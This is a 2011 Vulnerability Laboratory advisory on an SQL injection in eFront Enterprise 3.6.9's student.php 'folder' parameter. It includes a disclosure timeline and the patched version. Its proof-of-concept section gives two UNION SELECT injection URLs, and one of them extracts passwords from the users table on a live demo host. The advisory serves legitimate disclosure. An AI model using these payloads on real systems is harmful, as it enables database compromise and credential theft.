eFront Enterprise Edition v3.6.9 - SQL Injection Vulnerability

Document Title:
===============
eFront Enterprise Edition v3.6.9 - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=230
CNNVD-201110-706 > http://www.cnnvd.org.cn/vulnerability/show/cv_id/2011100706


Release Date:
=============
2011-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
230


Product & Service Introduction:
===============================
Tailored with larger organizations in mind, eFront Enterprise offers solutions for the management of companies most 
valued asset - the people. Based on a coherent approach to human capital management which keeps the workforce actively 
engaged, the eFront Enterprise platform offers the means of aligning learning programs with business goals to cultivate 
employee skills and knowledge associated with business performance. eFront Enterprise builds on top of eFront Educational.

(Copy of the Vendor Homepage: http://efrontlearning.net/product/efront-enterprise.html)


Abstract Advisory Information:
==============================
An anonymous researcher of the vulnerability Lab Team discovered a critical SQL Injection vulnerability on eFront CMS v3.6.9


Vulnerability Disclosure Timeline:
==================================
2011-09-18:	Vendor Notification
2011-09-21:	Vendor Response/Feedback
2011-10-06:	Vendor Fix/Patch
2011-10-07:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
eFront
Product: eLearning Enterprise Edition 3.6.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A SQL Injection vulnerability is detected on eFronts CMS v.3.6.9! The bug allows an remote attacker to inject/execute own sql 
statements over the vulnerable param request. Successful exploitation of the bug can lead to dbms & cms compromise.

Vulnerable Module(s):
			                         	[+] student section

Vulnerable File(s):
			                         	[+] student.php

Vulnerable Param(s):
			                         	[+] ?ctg=messages&folder=


Pictures:
			                         	../1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

PoC: 
http://xxx.net/enterprise/www/student.php?ctg=messages&folder=7+/*!Union*/Select+1,2,3,4,5,6,version%28%29,8,9,10,11,12--

Full: (reproduce)
http://demo.efrontlearning.net/enterprise/www/student.php?ctg=messages&folder=64+/*!Union*/Select+1,2,3,4,5,6,password,8,9,10,11,12+from+users--


Solution - Fix & Patch:
=======================
2011/10/10 v3.6.10 build 11944  - http://www.efrontlearning.net/download


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory - Mohammed Abdelkader A.


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=========================
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